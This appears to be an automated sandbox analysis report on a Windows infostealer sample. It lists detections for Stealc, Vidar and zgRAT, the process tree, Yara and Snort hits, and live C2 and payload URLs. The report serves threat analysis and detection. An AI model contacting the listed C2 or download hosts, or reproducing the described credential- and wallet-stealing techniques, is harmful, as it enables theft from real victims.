Edit tour

Windows Analysis Report
H6ohQMZygb.exe

Overview

General Information

Sample name:	H6ohQMZygb.exe renamed because original name is a hash value
Original sample name:	12f1dc2d004da9525abe233313a1aa67.exe
Analysis ID:	1430194
MD5:	12f1dc2d004da9525abe233313a1aa67
SHA1:	7db2c1584fc23fc7845c1112161cf4ece14757e2
SHA256:	75161e2443246e9e3bf1e11921abc074b612417e8ad06e6f937ac0973fca3e92
Tags:	exeStealc
Infos:

Detection

Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected PureLog Stealer

Yara detected Stealc

Yara detected Vidar stealer

Yara detected zgRAT

.NET source code contains potential unpacker

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Drops password protected ZIP file

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries keyboard layouts

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

H6ohQMZygb.exe (PID: 6984 cmdline: "C:\Users\user\Desktop\H6ohQMZygb.exe" MD5: 12F1DC2D004DA9525ABE233313A1AA67)

u5e0.0.exe (PID: 7156 cmdline: "C:\Users\user\AppData\Local\Temp\u5e0.0.exe" MD5: 65A31455A497CAEE44C5AA749C50E40B)

WerFault.exe (PID: 4020 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 2248 MD5: C31336C1EFC2CCB44B4326EA793040F2)

run.exe (PID: 7132 cmdline: "C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe" MD5: 817EA35F043D663CBA3B81EE02880D34)

u5e0.3.exe (PID: 6956 cmdline: "C:\Users\user\AppData\Local\Temp\u5e0.3.exe" MD5: 397926927BCA55BE4A77839B1C44DE6E)

SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe (PID: 6588 cmdline: "C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1 MD5: 8E9C467EAC35B35DA1F586014F29C330)

WerFault.exe (PID: 5956 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6984 -s 1128 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: StealC

{"C2 url": "185.172.128.76/3cd2b41cbde8fc9c.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\u5e0.3.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2121192347.00000000041DC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1488:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1985952795.0000000002EF7000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1168:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1825340881.00000000059E5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000000.1824422172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000C.00000000.1987937645.0000028F1FC1B000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: u5e0.0.exe PID: 7156	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: u5e0.0.exe PID: 7156	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: u5e0.0.exe PID: 7156	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.u5e0.0.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.u5e0.0.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.3.u5e0.0.exe.5bb0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.3.u5e0.0.exe.5bb0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.2.u5e0.0.exe.43c0e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.u5e0.0.exe.43c0e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.2.u5e0.0.exe.43c0e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.u5e0.0.exe.43c0e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f25170000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.2.u5e0.0.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.u5e0.0.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f25170000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.3.u5e0.0.exe.5bb0000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.3.u5e0.0.exe.5bb0000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dd70000.11.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dd70000.11.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dd70000.11.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x20e3df:$s1: file:/// 0x20e2eb:$s2: {11111-22222-10009-11112} 0x20e36f:$s3: {11111-22222-50001-00000} 0x20c5ea:$s4: get_Module 0x47377:$s5: Reverse 0x20c917:$s5: Reverse 0x4bfbe:$s6: BlockCopy 0x2097f4:$s6: BlockCopy 0x478bc:$s7: ReadByte 0x20e3f1:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x1fddd5:$s1: file:/// 0x1fdce1:$s2: {11111-22222-10009-11112} 0x1fdd65:$s3: {11111-22222-50001-00000} 0x1fbfe0:$s4: get_Module 0x36d6d:$s5: Reverse 0x1fc30d:$s5: Reverse 0x3b9b4:$s6: BlockCopy 0x1f91ea:$s6: BlockCopy 0x372b2:$s7: ReadByte 0x1fdde7:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x366b8f:$s1: file:/// 0x366a9f:$s2: {11111-22222-10009-11112} 0x366b1f:$s3: {11111-22222-50001-00000} 0x1d94f2:$s4: get_Module 0x2de704:$s4: get_Module 0x364d52:$s4: get_Module 0x1da945:$s5: Reverse 0x21adb9:$s5: Reverse 0x365038:$s5: Reverse 0x2eaa1d:$s6: BlockCopy 0x3834a6:$s6: BlockCopy 0x2e0be8:$s7: ReadByte 0x366ba1:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x31b97b:$s1: file:/// 0x31b88b:$s2: {11111-22222-10009-11112} 0x31b90b:$s3: {11111-22222-50001-00000} 0x18e2de:$s4: get_Module 0x2934f0:$s4: get_Module 0x319b3e:$s4: get_Module 0x18f731:$s5: Reverse 0x1cfba5:$s5: Reverse 0x319e24:$s5: Reverse 0x29f809:$s6: BlockCopy 0x338292:$s6: BlockCopy 0x2959d4:$s7: ReadByte 0x31b98d:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x21d805:$s1: file:/// 0x21d711:$s2: {11111-22222-10009-11112} 0x21d795:$s3: {11111-22222-50001-00000} 0x21ba10:$s4: get_Module 0x5679d:$s5: Reverse 0x21bd3d:$s5: Reverse 0x5b3e4:$s6: BlockCopy 0x218c1a:$s6: BlockCopy 0x56ce2:$s7: ReadByte 0x21d817:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x33fd85:$s1: file:/// 0x33fc95:$s2: {11111-22222-10009-11112} 0x33fd15:$s3: {11111-22222-50001-00000} 0x1b26e8:$s4: get_Module 0x2b78fa:$s4: get_Module 0x33df48:$s4: get_Module 0x1b3b3b:$s5: Reverse 0x1f3faf:$s5: Reverse 0x33e22e:$s5: Reverse 0x2c3c13:$s6: BlockCopy 0x35c69c:$s6: BlockCopy 0x2b9dde:$s7: ReadByte 0x33fd97:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
4.0.u5e0.3.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 34 entries

Snort Signatures

ETPRO TROJAN Win32/Unknown Loader Related Activity (GET) - Source IP: 192.168.2.4 - Destination IP: 185.172.128.90

Timestamp:	04/23/24-09:37:58.060876
SID:	2856233
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.4

Timestamp:	04/23/24-09:38:03.378645
SID:	2051831
Source Port:	80
Destination Port:	49733
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.172.128.76

Timestamp:	04/23/24-09:38:02.366935
SID:	2044243
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.76

Timestamp:	04/23/24-09:38:02.760156
SID:	2044244
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.4

Timestamp:	04/23/24-09:38:03.067514
SID:	2051828
Source Port:	80
Destination Port:	49733
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.76

Timestamp:	04/23/24-09:38:03.069125
SID:	2044246
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://185.172.128.59/syncUpd.exe	Avira URL Cloud: Label: malware
Source: http://185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}
Source: u5e0.0.exe.7156.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.172.128.76/3cd2b41cbde8fc9c.php"}

Multi AV Scanner detection for domain / URL

Source: http://185.172.128.228/BroomSetup.exe	Virustotal: Detection: 22%	Perma Link
Source: 185.172.128.76/3cd2b41cbde8fc9c.php	Virustotal: Detection: 11%	Perma Link
Source: http://185.172.128.76/3cd2b41cbde8fc9c.php	Virustotal: Detection: 11%	Perma Link
Source: http://185.172.128.59/syncUpd.exe	Virustotal: Detection: 22%	Perma Link
Source: http://185.172.128.76	Virustotal: Detection: 7%	Perma Link
Source: http://185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0	Virustotal: Detection: 20%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\UIxMarketPlugin.dll	ReversingLabs: Detection: 18%

Multi AV Scanner detection for submitted file

Source: H6ohQMZygb.exe	ReversingLabs: Detection: 47%
Source: H6ohQMZygb.exe	Virustotal: Detection: 37%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: H6ohQMZygb.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: CtIvEWInDoW
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: AgEBOxw
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: ijklmnopqrs
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: /#%33@@@
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: abcdefghijklmnopqrs
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: @@@@<@@@
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: abcdefghijklmnopqrs
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: "&&""..""&&"">>""&&"".."ikSQWQSQ_QBEklmn^pqrBtuvFxyzL123H5679+/\|
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: %s\%V/yVs
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: %s\*.
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: }567y9n/S
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: ntTekeny
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: ging
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: PassMord0
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: J@@@`z`@J@@@J@@@
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: OPQRSTUVWXY
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: 456753+/---- '
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: '--- '
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: 6~uxpS
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: idf7
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: v\|wiJB
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: HeapFree
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: ntProcessId
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: r\|yTw
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: wininet.dll
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: shell32.dll
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: q_yclEGL\|9FMupzgjYeo'
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: .dll
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: kxwY
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: brir/Coa`wD9
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: column_text
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: vv\|`i~
Source: 1.2.u5e0.0.exe.400000.0.raw.unpack	String decryptor: login:

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_00409540
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	1_2_004155A0
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	1_2_00406C10
